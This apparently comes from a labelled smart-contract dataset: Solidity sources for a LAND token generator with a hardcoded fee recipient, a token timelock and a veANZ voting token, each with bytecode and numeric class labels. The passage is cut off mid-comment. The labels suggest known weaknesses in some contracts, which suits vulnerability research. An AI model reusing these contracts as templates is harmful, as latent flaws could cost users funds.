pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Token is StandardToken, Ownable { string public constant name = "LAND"; string public constant symbol = "LAND"; uint8 public constant decimals = 18; uint256 public constant totalSupply = 1000000000 ether; constructor() public { } } contract SubsidizedToken is Token { uint256 constant subsidy = 10 ether; string public constant generator = "CC v3"; constructor() public { balances[address(0x54893C205535040131933a5121Af76A659dc8a06)] = subsidy; emit Transfer(address(0), address(0x54893C205535040131933a5121Af76A659dc8a06), subsidy); } } contract CustomToken is SubsidizedToken { uint256 constant deploymentCost = 130000000000000000 wei; constructor() public payable { address(0x54893C205535040131933a5121Af76A659dc8a06).transfer(deploymentCost); uint256 ownerTokens = balances[msg.sender].add(totalSupply.sub(subsidy)); balances[msg.sender] = ownerTokens; emit Transfer(address(0), msg.sender, ownerTokens); } function () public payable { revert(); } } contract SellableToken is SubsidizedToken { uint256 public collected; uint256 public sold; uint256 public rate = 2000; uint256 constant icoTokens = 50000000 ether; uint256 constant deploymentCost = 130000000000000000 wei; constructor() public payable { address(0x54893C205535040131933a5121Af76A659dc8a06).transfer(deploymentCost); uint256 ownerTokens = totalSupply.sub(subsidy).sub(icoTokens); balances[msg.sender] = balances[msg.sender].add(ownerTokens); balances[address(this)] = icoTokens; emit Transfer(address(0), msg.sender, ownerTokens); emit Transfer(address(0), address(this), icoTokens); } function () public payable { uint256 numberTokens = msg.value.mul(rate); address contractAddress = address(this); require(balanceOf(contractAddress) >= numberTokens); owner.transfer(msg.value); balances[contractAddress] = balances[contractAddress].sub(numberTokens); balances[msg.sender] = balances[msg.sender].add(numberTokens); emit Transfer(contractAddress, msg.sender, numberTokens); collected = collected.add(msg.value); sold = sold.add(numberTokens); } function withdrawTokens(uint256 _numberTokens) public onlyOwner returns (bool) { require(balanceOf(address(this)) >= _numberTokens); address contractAddress = address(this); balances[contractAddress] = balances[contractAddress].sub(_numberTokens); balances[owner] = balances[owner].add(_numberTokens); emit Transfer(contractAddress, owner, _numberTokens); return true; } function changeRate(uint256 _rate) public onlyOwner returns (bool) { rate = _rate; return true; } }
0x6080604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302c7e7af811461024057806306fdde0314610267578063095ea7b3146102f157806318160ddd1461032957806323b872dd1461033e5780632c4e722e14610368578063313ce5671461037d578063315a095d146103a857806366188463146103c057806370a08231146103e457806374e7493b146104055780637afa1eed1461041d57806384bcefd4146104325780638da5cb5b1461044757806395d89b4114610267578063a9059cbb14610478578063d73dd6231461049c578063dd62ed3e146104c0578063f2fde38b146104e7575b60008061011e6006543461050a90919063ffffffff16565b91503090508161012d82610540565b101561013857600080fd5b600354604051600160a060020a03909116903480156108fc02916000818181858888f19350505050158015610171573d6000803e3d6000fd5b50600160a060020a03811660009081526001602052604090205461019b908363ffffffff61055b16565b600160a060020a0382166000908152600160205260408082209290925533815220546101cd908363ffffffff61056d16565b3360008181526001602090815260409182902093909355805185815290519192600160a060020a03851692600080516020610c0b8339815191529281900390910190a3600454610223903463ffffffff61056d16565b600455600554610239908363ffffffff61056d16565b6005555050005b34801561024c57600080fd5b5061025561057c565b60408051918252519081900360200190f35b34801561027357600080fd5b5061027c610582565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102b657818101518382015260200161029e565b50505050905090810190601f1680156102e35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102fd57600080fd5b50610315600160a060020a03600435166024356105b9565b604080519115158252519081900360200190f35b34801561033557600080fd5b5061025561061f565b34801561034a57600080fd5b50610315600160a060020a036004358116906024351660443561062f565b34801561037457600080fd5b50610255610796565b34801561038957600080fd5b5061039261079c565b6040805160ff9092168252519081900360200190f35b3480156103b457600080fd5b506103156004356107a1565b3480156103cc57600080fd5b50610315600160a060020a0360043516602435610881565b3480156103f057600080fd5b50610255600160a060020a0360043516610540565b34801561041157600080fd5b50610315600435610971565b34801561042957600080fd5b5061027c610994565b34801561043e57600080fd5b506102556109cb565b34801561045357600080fd5b5061045c6109d1565b60408051600160a060020a039092168252519081900360200190f35b34801561048457600080fd5b50610315600160a060020a03600435166024356109e0565b3480156104a857600080fd5b50610315600160a060020a0360043516602435610ab1565b3480156104cc57600080fd5b50610255600160a060020a0360043581169060243516610b4a565b3480156104f357600080fd5b50610508600160a060020a0360043516610b75565b005b60008083151561051d5760009150610539565b5082820282848281151561052d57fe5b041461053557fe5b8091505b5092915050565b600160a060020a031660009081526001602052604090205490565b60008282111561056757fe5b50900390565b60008282018381101561053557fe5b60055481565b60408051808201909152600481527f4c414e4400000000000000000000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6b033b2e3c9fd0803ce800000081565b6000600160a060020a038316151561064657600080fd5b600160a060020a03841660009081526001602052604090205482111561066b57600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561069b57600080fd5b600160a060020a0384166000908152600160205260409020546106c4908363ffffffff61055b16565b600160a060020a0380861660009081526001602052604080822093909355908516815220546106f9908363ffffffff61056d16565b600160a060020a03808516600090815260016020908152604080832094909455918716815260028252828120338252909152205461073d908363ffffffff61055b16565b600160a060020a0380861660008181526002602090815260408083203384528252918290209490945580518681529051928716939192600080516020610c0b833981519152929181900390910190a35060019392505050565b60065481565b601281565b6003546000908190600160a060020a031633146107bd57600080fd5b826107c730610540565b10156107d257600080fd5b50306000818152600160205260409020546107f3908463ffffffff61055b16565b600160a060020a03808316600090815260016020526040808220939093556003549091168152205461082b908463ffffffff61056d16565b60038054600160a060020a03908116600090815260016020908152604091829020949094559154825187815292519082169391851692600080516020610c0b83398151915292908290030190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156108d657336000908152600260209081526040808320600160a060020a038816845290915281205561090b565b6108e6818463ffffffff61055b16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600354600090600160a060020a0316331461098b57600080fd5b50600655600190565b60408051808201909152600581527f4343207633000000000000000000000000000000000000000000000000000000602082015281565b60045481565b600354600160a060020a031681565b6000600160a060020a03831615156109f757600080fd5b33600090815260016020526040902054821115610a1357600080fd5b33600090815260016020526040902054610a33908363ffffffff61055b16565b3360009081526001602052604080822092909255600160a060020a03851681522054610a65908363ffffffff61056d16565b600160a060020a038416600081815260016020908152604091829020939093558051858152905191923392600080516020610c0b8339815191529281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610ae5908363ffffffff61056d16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610b8c57600080fd5b600160a060020a0381161515610ba157600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820faa48b03d3243c9a76ee3d4f12d24601303813d42acd5ecc9c76bb86cb6aa8260029
[ 14 ]
0xf3725aa0abe761f9fcf5e770e8cc932642bbf6fc
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29548800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xaa08E80CfdFA1Fd3a9D14f0e70917540E3e13aEF; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a723058200a087ed29b16607011b38b015a5989ce5421788af6d7293b40289d6e7bdde0440029
[ 16, 7 ]
0xf3735b2C43a14ce518816184157d69f52eb169B5
// SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "./ERC20Votes.sol"; import "@openzeppelin/contracts/access/AccessControlEnumerable.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "../interfaces/ITimeLockPool.sol"; contract VoteAnzenToken is Context, AccessControlEnumerable, ERC20Votes { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE"); ITimeLockPool public timeLockPool; modifier onlyHasRole(bytes32 _role) { require( hasRole(_role, _msgSender()), "veAnzenToken.onlyHasRole: Permission denied" ); _; } constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) ERC20Permit(_name) { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(BURNER_ROLE, _msgSender()); } function mint(address _account, uint256 _amount) external onlyHasRole(MINTER_ROLE) { super._mint(_account, _amount); } function burn(address _account, uint256 _amount) external onlyHasRole(BURNER_ROLE) { super._burn(_account, _amount); } function _transfer( address, address, uint256 ) internal pure override { revert("veANZ is non-transferable"); } function setUpTimeLockPool(address _poolAddress) external onlyHasRole(DEFAULT_ADMIN_ROLE) { timeLockPool = ITimeLockPool(_poolAddress); } function balanceOf(address _account) public view override returns (uint256) { uint256 balanceAccount = _balances[_account]; if(address(timeLockPool) == address(0)) return balanceAccount; ITimeLockPool.Deposit[] memory deposits = timeLockPool.getDepositsOf( _account ); uint256 actualBalance = 0; for (uint256 i = 0; i < deposits.length; i++) { ITimeLockPool.Deposit memory deposit = deposits[i]; balanceAccount -= (deposit.amount * timeLockPool.getMultiplier(deposit.end - deposit.start)) / 1e18; actualBalance += (deposit.amount * getMultiplier( deposit.end - deposit.start, block.timestamp >= deposit.end ? deposit.end - deposit.start : block.timestamp - deposit.start )) / 1e18; } return balanceAccount + actualBalance; } function getMultiplier(uint256 _lockDuration, uint256 _elapsed) public view returns (uint256) { return 1e18 + ((timeLockPool.getMaxBonus() * (_lockDuration - _elapsed)) / timeLockPool.getMaxLockDuration()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Votes.sol) pragma solidity ^0.8.0; import "./ERC20Permit.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; import "@openzeppelin/contracts/utils/math/SafeCast.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; /** * @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's, * and supports token supply up to 2^224^ - 1, while COMP is limited to 2^96^ - 1. * * NOTE: If exact COMP compatibility is required, use the {ERC20VotesComp} variant of this module. * * This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either * by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting * power can be queried through the public accessors {getVotes} and {getPastVotes}. * * By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it * requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked. * Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this * will significantly increase the base gas cost of transfers. * * _Available since v4.2._ */ abstract contract ERC20Votes is ERC20Permit { struct Checkpoint { uint32 fromBlock; uint224 votes; } bytes32 private constant _DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); mapping(address => address) private _delegates; mapping(address => Checkpoint[]) private _checkpoints; Checkpoint[] private _totalSupplyCheckpoints; /** * @dev Emitted when an account changes their delegate. */ event DelegateChanged( address indexed delegator, address indexed fromDelegate, address indexed toDelegate ); /** * @dev Emitted when a token transfer or delegate change results in changes to an account's voting power. */ event DelegateVotesChanged( address indexed delegate, uint256 previousBalance, uint256 newBalance ); /** * @dev Get the `pos`-th checkpoint for `account`. */ function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) { return _checkpoints[account][pos]; } /** * @dev Get number of checkpoints for `account`. */ function numCheckpoints(address account) public view virtual returns (uint32) { return SafeCast.toUint32(_checkpoints[account].length); } /** * @dev Get the address `account` is currently delegating to. */ function delegates(address account) public view virtual returns (address) { return _delegates[account]; } /** * @dev Gets the current votes balance for `account` */ function getVotes(address account) public view returns (uint256) { uint256 pos = _checkpoints[account].length; return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes; } /** * @dev Retrieve the number of votes for `account` at the end of `blockNumber`. * * Requirements: * * - `blockNumber` must have been already mined */ function getPastVotes(address account, uint256 blockNumber) public view returns (uint256) { require(blockNumber < block.number, "ERC20Votes: block not yet mined"); return _checkpointsLookup(_checkpoints[account], blockNumber); } /** * @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances. * It is but NOT the sum of all the delegated votes! * * Requirements: * * - `blockNumber` must have been already mined */ function getPastTotalSupply(uint256 blockNumber) public view returns (uint256) { require(blockNumber < block.number, "ERC20Votes: block not yet mined"); return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber); } /** * @dev Lookup a value in a list of (sorted) checkpoints. */ function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) { // We run a binary search to look for the earliest checkpoint taken after `blockNumber`. // // During the loop, the index of the wanted checkpoint remains in the range [low-1, high). // With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant. // - If the middle checkpoint is after `blockNumber`, we look in [low, mid) // - If the middle checkpoint is before or equal to `blockNumber`, we look in [mid+1, high) // Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not // out of bounds (in which case we're looking too far in the past and the result is 0). // Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is // past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out // the same. uint256 high = ckpts.length; uint256 low = 0; while (low < high) { uint256 mid = Math.average(low, high); if (ckpts[mid].fromBlock > blockNumber) { high = mid; } else { low = mid + 1; } } return high == 0 ? 0 : ckpts[high - 1].votes; } /** * @dev Delegate votes from the sender to `delegatee`. */ function delegate(address delegatee) public virtual { _delegate(_msgSender(), delegatee); } /** * @dev Delegates votes from signer to `delegatee` */ function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) public virtual { require(block.timestamp <= expiry, "ERC20Votes: signature expired"); address signer = ECDSA.recover( _hashTypedDataV4( keccak256( abi.encode(_DELEGATION_TYPEHASH, delegatee, nonce, expiry) ) ), v, r, s ); require(nonce == _useNonce(signer), "ERC20Votes: invalid nonce"); _delegate(signer, delegatee); } /** * @dev Maximum token supply. Defaults to `type(uint224).max` (2^224^ - 1). */ function _maxSupply() internal view virtual returns (uint224) { return type(uint224).max; } /** * @dev Snapshots the totalSupply after it has been increased. */ function _mint(address account, uint256 amount) internal virtual override { super._mint(account, amount); require( totalSupply() <= _maxSupply(), "ERC20Votes: total supply risks overflowing votes" ); _writeCheckpoint(_totalSupplyCheckpoints, _add, amount); } /** * @dev Snapshots the totalSupply after it has been decreased. */ function _burn(address account, uint256 amount) internal virtual override { super._burn(account, amount); _writeCheckpoint(_totalSupplyCheckpoints, _subtract, amount); } /** * @dev Move voting power when tokens are transferred. * * Emits a {DelegateVotesChanged} event. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual override { super._afterTokenTransfer(from, to, amount); _moveVotingPower(delegates(from), delegates(to), amount); } /** * @dev Change delegation for `delegator` to `delegatee`. * * Emits events {DelegateChanged} and {DelegateVotesChanged}. */ function _delegate(address delegator, address delegatee) internal virtual { address currentDelegate = delegates(delegator); uint256 delegatorBalance = balanceOf(delegator); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveVotingPower(currentDelegate, delegatee, delegatorBalance); } function _moveVotingPower( address src, address dst, uint256 amount ) private { if (src != dst && amount > 0) { if (src != address(0)) { (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint( _checkpoints[src], _subtract, amount ); emit DelegateVotesChanged(src, oldWeight, newWeight); } if (dst != address(0)) { (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint( _checkpoints[dst], _add, amount ); emit DelegateVotesChanged(dst, oldWeight, newWeight); } } } function _writeCheckpoint( Checkpoint[] storage ckpts, function(uint256, uint256) view returns (uint256) op, uint256 delta ) private returns (uint256 oldWeight, uint256 newWeight) { uint256 pos = ckpts.length; oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes; newWeight = op(oldWeight, delta); if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) { ckpts[pos - 1].votes = SafeCast.toUint224(newWeight); } else { ckpts.push( Checkpoint({ fromBlock: SafeCast.toUint32(block.number), votes: SafeCast.toUint224(newWeight) }) ); } } function _add(uint256 a, uint256 b) private pure returns (uint256) { return a + b; } function _subtract(uint256 a, uint256 b) private pure returns (uint256) { return a - b; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-ERC20Permit.sol) pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol"; import "./ERC20.sol"; import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { using Counters for Counters.Counter; mapping(address => Counters.Counter) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPEHASH = keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ); /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ constructor(string memory name) EIP712(name, "1") {} /** * @dev See {IERC20Permit-permit}. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256( abi.encode( _PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline ) ); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view virtual override returns (uint256) { return _nonces[owner].current(); } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } /** * @dev "Consume a nonce": return the current value and increment. * * _Available since v4.1._ */ function _useNonce(address owner) internal virtual returns (uint256 current) { Counters.Counter storage nonce = _nonces[owner]; current = nonce.current(); nonce.increment(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; import "@openzeppelin/contracts/utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; // Change of private variable mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * 